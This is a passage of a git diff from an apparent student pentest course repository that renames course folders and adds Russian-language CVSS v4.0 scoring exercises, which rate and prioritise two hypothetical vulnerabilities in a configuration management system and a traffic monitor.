a/pentest/01-network/02-scanner/03-postgresql/img/4.png b/02-pentest/01-network/02-scanner/03-postgresql/img/4.png similarity index 100% rename from pentest/01-network/02-scanner/03-postgresql/img/4.png rename to 02-pentest/01-network/02-scanner/03-postgresql/img/4.png diff --git a/pentest/01-network/02-scanner/03-postgresql/img/5.png b/02-pentest/01-network/02-scanner/03-postgresql/img/5.png similarity index 100% rename from pentest/01-network/02-scanner/03-postgresql/img/5.png rename to 02-pentest/01-network/02-scanner/03-postgresql/img/5.png diff --git a/pentest/01-network/02-scanner/03-postgresql/img/6.png b/02-pentest/01-network/02-scanner/03-postgresql/img/6.png similarity index 100% rename from pentest/01-network/02-scanner/03-postgresql/img/6.png rename to 02-pentest/01-network/02-scanner/03-postgresql/img/6.png diff --git a/pentest/01-network/02-scanner/03-postgresql/img/7.png b/02-pentest/01-network/02-scanner/03-postgresql/img/7.png similarity index 100% rename from pentest/01-network/02-scanner/03-postgresql/img/7.png rename to 02-pentest/01-network/02-scanner/03-postgresql/img/7.png diff --git a/pentest/01-network/02-scanner/03-postgresql/img/8.png b/02-pentest/01-network/02-scanner/03-postgresql/img/8.png similarity index 100% rename from pentest/01-network/02-scanner/03-postgresql/img/8.png rename to 02-pentest/01-network/02-scanner/03-postgresql/img/8.png diff --git a/pentest/01-network/02-scanner/03-postgresql/img/9.png b/02-pentest/01-network/02-scanner/03-postgresql/img/9.png similarity index 100% rename from pentest/01-network/02-scanner/03-postgresql/img/9.png rename to 02-pentest/01-network/02-scanner/03-postgresql/img/9.png diff --git a/pentest/01-network/02-scanner/03-postgresql/img/image01.png b/02-pentest/01-network/02-scanner/03-postgresql/img/image01.png similarity index 100% rename from pentest/01-network/02-scanner/03-postgresql/img/image01.png rename to 02-pentest/01-network/02-scanner/03-postgresql/img/image01.png diff --git a/pentest/01-network/02-scanner/03-postgresql/img/image02.png b/02-pentest/01-network/02-scanner/03-postgresql/img/image02.png similarity index 100% rename from pentest/01-network/02-scanner/03-postgresql/img/image02.png rename to 02-pentest/01-network/02-scanner/03-postgresql/img/image02.png diff --git a/pentest/01-network/02-scanner/03-postgresql/img/image03.png b/02-pentest/01-network/02-scanner/03-postgresql/img/image03.png similarity index 100% rename from pentest/01-network/02-scanner/03-postgresql/img/image03.png rename to 02-pentest/01-network/02-scanner/03-postgresql/img/image03.png diff --git a/pentest/01-network/02-scanner/04-iptables/README.md b/02-pentest/01-network/02-scanner/04-iptables/README.md similarity index 100% rename from pentest/01-network/02-scanner/04-iptables/README.md rename to 02-pentest/01-network/02-scanner/04-iptables/README.md diff --git a/pentest/01-network/02-scanner/04-iptables/img/image01.png b/02-pentest/01-network/02-scanner/04-iptables/img/image01.png similarity index 100% rename from pentest/01-network/02-scanner/04-iptables/img/image01.png rename to 02-pentest/01-network/02-scanner/04-iptables/img/image01.png diff --git a/pentest/01-network/02-scanner/04-iptables/img/image02.png b/02-pentest/01-network/02-scanner/04-iptables/img/image02.png similarity index 100% rename from pentest/01-network/02-scanner/04-iptables/img/image02.png rename to 02-pentest/01-network/02-scanner/04-iptables/img/image02.png diff --git a/pentest/01-network/02-scanner/04-iptables/img/image03.png b/02-pentest/01-network/02-scanner/04-iptables/img/image03.png similarity index 100% rename from pentest/01-network/02-scanner/04-iptables/img/image03.png rename to 02-pentest/01-network/02-scanner/04-iptables/img/image03.png diff --git a/pentest/01-network/02-scanner/04-iptables/img/image04.png b/02-pentest/01-network/02-scanner/04-iptables/img/image04.png similarity index 100% rename from pentest/01-network/02-scanner/04-iptables/img/image04.png rename to 02-pentest/01-network/02-scanner/04-iptables/img/image04.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/README.md b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/README.md similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/README.md rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/README.md diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/01.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/01.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/01.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/01.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/02.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/02.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/02.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/02.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/03.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/03.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/03.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/03.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/04.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/04.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/04.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/04.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/05.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/05.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/05.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/05.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/06.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/06.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/06.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/06.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/07.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/07.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/07.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/07.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/08.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/08.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/08.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/08.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/09.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/09.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/09.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/09.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/10.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/10.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/10.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/10.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/11.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/11.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/11.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/11.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/12.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/12.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/12.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/12.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/13.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/13.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/13.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/13.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/14.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/14.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/14.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/14.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/15.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/15.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/15.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/15.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/16.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/16.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/16.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/16.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/17.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/17.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/17.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/17.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/18.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/18.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/18.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/18.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/19.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/19.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/19.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/19.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/20.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/20.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/20.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/20.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/21.png b/02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/21.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/21.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/21.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/README.md b/02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/README.md similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/README.md rename to 02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/README.md diff --git a/pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/01.png b/02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/01.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/01.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/01.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/02.png b/02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/02.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/02.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/02.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/03.png b/02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/03.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/03.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/03.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/04.png b/02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/04.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/04.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/04.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/05.png b/02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/05.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/05.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/05.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/06.png b/02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/06.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/06.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/06.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/07.png b/02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/07.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/07.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/07.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/08.png b/02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/08.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/08.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/08.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/09.png b/02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/09.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/09.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/09.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/10.png b/02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/10.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/10.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/10.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/11.png b/02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/11.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/11.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/11.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/12.png b/02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/12.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/12.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/12.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/13.png b/02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/13.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/13.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/13.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/03-wifi/README.md b/02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/README.md similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/03-wifi/README.md rename to 02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/README.md diff --git a/pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/01.png b/02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/01.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/01.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/01.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/02.png b/02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/02.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/02.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/02.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/03.png b/02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/03.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/03.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/03.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/04.png b/02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/04.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/04.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/04.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/05.png b/02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/05.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/05.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/05.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/06.png b/02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/06.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/06.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/06.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/07.png b/02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/07.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/07.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/07.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/08.png b/02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/08.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/08.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/08.png diff --git a/pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/09.png b/02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/09.png similarity index 100% rename from pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/09.png rename to 02-pentest/01-network/03-vpn-dmz-wifi/03-wifi/img/09.png diff --git a/02-pentest/02-vuln/01-cvss/1.1.md b/02-pentest/02-vuln/01-cvss/1.1.md new file mode 100644 index 0000000..12fa992 --- /dev/null +++ b/02-pentest/02-vuln/01-cvss/1.1.md @@ -0,0 +1,44 @@ +# Модуль 1. Введение в уязвимости +## Практическое задание №1 +### Задание 1.1 + +Описание уязвимости: +``` +В корпоративной сети крупной финансовой организации была обнаружена уязвимость в системе управления конфигурациями серверов. Система управления конфигурациями используется для автоматизации развертывания и поддержания состояния серверов, включая веб-серверы, базы данных и приложения. Уязвимость позволяет злоумышленнику, имеющему доступ к сети, удаленно модифицировать конфигурационные файлы серверов без аутентификации. Это может привести к изменению поведения серверов, внедрению вредоносного кода или даже полному отказу в обслуживании. + +Серверы доступны из интернета через брандмауэр и прокси-сервер, но уязвимость в системе управления конфигурациями может быть эксплуатирована только через внутреннюю сеть. Базы данных содержат конфиденциальную информацию клиентов и финансовые данные. +``` + +Действовать, проводя оценку, будем из того, что с помощью данной уязвимости можно воздействовать и на саму уязвимую систему. + +Для данной уязимости я предлагаю установить следующие метрики + +| Metric | Value | Comment | +| ----- | ----- | ----- | +| | **Exploitability Metrics** | | +| Attack Vector (AV) | Adjacent (A) | Уязвимость в системе управления конфигурациями может быть эксплуатирована только через внутреннюю сеть | +| Attack Complexity (AC) | Low (L) | Информации о сложности нет, поэтому предполагаем -- низкую сложность | +| Attack Requirements (AT) | Present (P) | Для проведения атаки необходимо знать архитектуру внутернней сети (какие устройства, за что отвечают) | +| Privileges Required (PR) | None (N) | Аутентификация не требуется | +| User Interaction (UI) | None (N) | Взаимодействие с пользователями не требуется | +| | **Vulnerable System Impact Metrics** | | +| Confidentiality (VC) | High (H) | В случае, если система управления конфигурациями может управлять в том числе собой, то согласно тому, что может быть внедрен вредоносный код -- нарушение конфиденциальности является высоким | +| Integrity (VI) | High (H) | Аналогично VC, целостность может быть нарушена | +| Availability (VA) | High (H) | Возможен полный отказ в обслуживании | +| | **Subsequent System Impact Metrics** | | +| Confidentiality (SC) | High (H) | согласно тому, что может быть внедрен вредоносный код -- нарушение конфиденциальности является высоким | +| Integrity (SI) | High (H) | Аналогично VC, целостность может быть нарушена | +| Availability (SA) | High (H) | Возможен полный отказ в обслуживании | + + +### Итог задания 1.1 + +Вектор CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H + +Метрика CVSS v4.0 Score: 9.0 / Critical + + +# Итог практического задания +На этом практическое задание окончено, файл отчет в формате pdf во вложении. + +Выполнил: Харитонов Марат Русланович, студенческий билет №М235314. \ No newline at end of file diff --git a/02-pentest/02-vuln/01-cvss/1.2.md b/02-pentest/02-vuln/01-cvss/1.2.md new file mode 100644 index 0000000..1d8eb62 --- /dev/null +++ b/02-pentest/02-vuln/01-cvss/1.2.md @@ -0,0 +1,40 @@ +# Модуль 1. Введение в уязвимости +## Практическое задание №1 +### Задание 1.2 + +Описание уязвимости: + +``` +В системе мониторинга сетевого трафика, используемой в организации для обеспечения безопасности корпоративной сети, была обнаружена уязвимость. Система мониторинга отвечает за анализ трафика в реальном времени и идентификацию подозрительных действий, таких как попытки вторжения или аномальное поведение. Уязвимость заключается в недостаточной проверке входных данных, что позволяет злоумышленнику отправлять специально сформированные пакеты, вызывающие переполнение буфера и потенциальное выполнение произвольного кода. + +Система мониторинга доступна только из внутренней сети и не имеет прямого доступа из интернета, однако эксплуатация уязвимости может привести к обходу сетевых защитных механизмов и дальнейшему распространению атаки внутри корпоративной сети. Базы данных, связанные с системой мониторинга, содержат метаданные о сетевом трафике и не включают конфиденциальную информацию. +``` + +Для данной уязимости я предлагаю установить следующие метрики: + +| Metric | Value | Comment | +| ----- | ----- | ----- | +| | **Exploitability Metrics** | | +| Attack Vector (AV) | Adjacent (A) | Система мониторинга доступна только из внутренней сети | +| Attack Complexity (AC) | Low (L) | Просто отправку модифицированных выполнить можно довольно легко, сложностей нет | +| Attack Requirements (AT) | None (N) | Особых требований для проведения атаки нет | +| Privileges Required (PR) | None (N) | Аутентификация не требуется | +| User Interaction (UI) | None (N) | Взаимодействие с пользователями не требуется | +| | **Vulnerable System Impact Metrics** | | +| Confidentiality (VC) | High (H) | Потенциальное выполнение произвольного кода означает вероятную потерю конфиденциальности | +| Integrity (VI) | High (H) | Потенциальное выполнение произвольного кода означает вероятную потерю целостности | +| Availability (VA) | High (H) | Переполнение буфера обычно сопровождается потерей доступности | +| | **Subsequent System Impact Metrics** | | +| Confidentiality (SC) | High (H) | В связи с тем, что возможно распространение атаки с обходом защитных механизмов, конфиденциальность теряется | +| Integrity (SI) | High (H) | Согласно VC, целостность может быть нарушена | +| Availability (SA) | High (H) | Возможен полный отказ в обслуживании, согласно VC | + +### Итог задания 1.2 +Вектор CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H + +Метрика CVSS v4.0 Score: 9.4 / Critical + +# Итог практического задания +На этом практическое задание окончено, файл отчет в формате pdf во вложении. + +Выполнил: Харитонов Марат Русланович, студенческий билет №М235314. \ No newline at end of file diff --git a/02-pentest/02-vuln/01-cvss/1.3.md b/02-pentest/02-vuln/01-cvss/1.3.md new file mode 100644 index 0000000..c7a0725 --- /dev/null +++ b/02-pentest/02-vuln/01-cvss/1.3.md @@ -0,0 +1,26 @@ +# Модуль 1. Введение в уязвимости +## Практическое задание №1 +### Задание 1.3 + +В ходе заданий 1.2 и 1.3 мы получили следующие векторы и показатели критичности уязвимостей: + +| Уязвимость | Вектор CVSS:4.0 | Метрика CVSS v4.0 | +| ----- | ----- | ----- | +| Уязвимость системы управления конфигурациями | CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H | 9.0 / Critical | +| Уязвимость системы мониторинга сетевого трафика | CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H | 9.4 / Critical | + +Согласно полученным метрикам более критичной можно считать уязвимость системы мониторинга сетевого трафика. Я согласен с тем, что говорят цифры: +1. Это часть системы защиты информации. Данная уязвимость может привести к отключению других защитных механизмов, что может раскрыть и прочие уязвимости для атакующего. +2. Уязвимость из задания 1 может быть теоретически полностью митигирована системой защиты информации, а данная -- нет, так как уявзим компонент защиты. +3. Уявзимость из задания 1, возможно, не позволяет эксплуатировать её в самой системе управления конфигурациями (нет информации), тогда её конечная метрика будет снижена. + +### Итог задания 1.3 + +Таким образом, в первую очередь необходимо устранить именно вторую уязвимость, так как она ставит под сомнение абсолютно всю систему защиты информации, и её экслуатация может привести к демитигации других уязвимостей. + +Тем не менее, первая уязвимость тоже крайне опасна для любой информационной системы, так что устранив вторую уязвимость, нельзя забывать о первой, в идеале устранять их одновременно. + +# Итог практического задания +На этом практическое задание окончено, файл отчет в формате pdf во вложении. + +Выполнил: Харитонов Марат Русланович, студенческий билет №М235314. \ No newline at end of file diff --git a/02-pentest/02-vuln/01-cvss/README.md b/02-pentest/02-vuln/01-cvss/README.md new file mode 100644 index 0000000..ab01e67 --- /dev/null +++ b/02-pentest/02-vuln/01-cvss/README.md @@ -0,0 +1,98 @@ +# Модуль 1. Введение в уязвимости +## Практическое задание №1 +### Задание 1.1 + +Описание уязвимости: +``` +В корпоративной сети крупной финансовой организации была обнаружена уязвимость в системе управления конфигурациями серверов. Система управления конфигурациями используется для автоматизации развертывания и поддержания состояния серверов, включая веб-серверы, базы данных и приложения. Уязвимость позволяет злоумышленнику, имеющему доступ к сети, удаленно модифицировать конфигурационные файлы серверов без аутентификации. Это может привести к изменению поведения серверов, внедрению вредоносного кода или даже полному отказу в обслуживании. + +Серверы доступны из интернета через брандмауэр и прокси-сервер, но уязвимость в системе управления конфигурациями может быть эксплуатирована только через внутреннюю сеть. Базы данных содержат конфиденциальную информацию клиентов и финансовые данные. +``` + +Действовать, проводя оценку, будем из того, что с помощью данной уязвимости можно воздействовать и на саму уязвимую систему. + +Для данной уязимости я предлагаю установить следующие метрики + +| Metric | Value | Comment | +| ----- | ----- | ----- | +| | **Exploitability Metrics** | | +| Attack Vector (AV) | Adjacent (A) | Уязвимость в системе управления конфигурациями может быть эксплуатирована только через внутреннюю сеть | +| Attack Complexity (AC) | Low (L) | Информации о сложности нет, поэтому предполагаем -- низкую сложность | +| Attack Requirements (AT) | Present (P) | Для проведения атаки необходимо знать архитектуру внутернней сети (какие устройства, за что отвечают) | +| Privileges Required (PR) | None (N) | Аутентификация не требуется | +| User Interaction (UI) | None (N) | Взаимодействие с пользователями не требуется | +| | **Vulnerable System Impact Metrics** | | +| Confidentiality (VC) | High (H) | В случае, если система управления конфигурациями может управлять в том числе собой, то согласно тому, что может быть внедрен вредоносный код -- нарушение конфиденциальности является высоким | +| Integrity (VI) | High (H) | Аналогично VC, целостность может быть нарушена | +| Availability (VA) | High (H) | Возможен полный отказ в обслуживании | +| | **Subsequent System Impact Metrics** | | +| Confidentiality (SC) | High (H) | согласно тому, что может быть внедрен вредоносный код -- нарушение конфиденциальности является высоким | +| Integrity (SI) | High (H) | Аналогично VC, целостность может быть нарушена | +| Availability (SA) | High (H) | Возможен полный отказ в обслуживании | + + +### Итог задания 1.1 +Вектор CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H + +Метрика CVSS v4.0 Score: 9.0 / Critical + + +### Задание 1.2 + +Описание уязвимости: + +``` +В системе мониторинга сетевого трафика, используемой в организации для обеспечения безопасности корпоративной сети, была обнаружена уязвимость. Система мониторинга отвечает за анализ трафика в реальном времени и идентификацию подозрительных действий, таких как попытки вторжения или аномальное поведение. Уязвимость заключается в недостаточной проверке входных данных, что позволяет злоумышленнику отправлять специально сформированные пакеты, вызывающие переполнение буфера и потенциальное выполнение произвольного кода. + +Система мониторинга доступна только из внутренней сети и не имеет прямого доступа из интернета, однако эксплуатация уязвимости может привести к обходу сетевых защитных механизмов и дальнейшему распространению атаки внутри корпоративной сети. Базы данных, связанные с системой мониторинга, содержат метаданные о сетевом трафике и не включают конфиденциальную информацию. +``` + +Для данной уязимости я предлагаю установить следующие метрики: + +| Metric | Value | Comment | +| ----- | ----- | ----- | +| | **Exploitability Metrics** | | +| Attack Vector (AV) | Adjacent (A) | Система мониторинга доступна только из внутренней сети | +| Attack Complexity (AC) | Low (L) | Просто отправку модифицированных выполнить можно довольно легко, сложностей нет | +| Attack Requirements (AT) | None (N) | Особых требований для проведения атаки нет | +| Privileges Required (PR) | None (N) | Аутентификация не требуется | +| User Interaction (UI) | None (N) | Взаимодействие с пользователями не требуется | +| | **Vulnerable System Impact Metrics** | | +| Confidentiality (VC) | High (H) | Потенциальное выполнение произвольного кода означает вероятную потерю конфиденциальности. Несмотря на то, что базы данных, связанные с системой мониторинга не содержат конф. информацию, метрика строится на состоянии самой системы | +| Integrity (VI) | High (H) | Потенциальное выполнение произвольного кода означает вероятную потерю целостности | +| Availability (VA) | High (H) | Переполнение буфера обычно сопровождается потерей доступности | +| | **Subsequent System Impact Metrics** | | +| Confidentiality (SC) | High (H) | В связи с тем, что возможно распространение атаки с обходом защитных механизмов, конфиденциальность теряется | +| Integrity (SI) | High (H) | Согласно VC, целостность может быть нарушена | +| Availability (SA) | High (H) | Возможен полный отказ в обслуживании, согласно VC | + +### Итог задания 1.2 +Вектор CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H + +Метрика CVSS 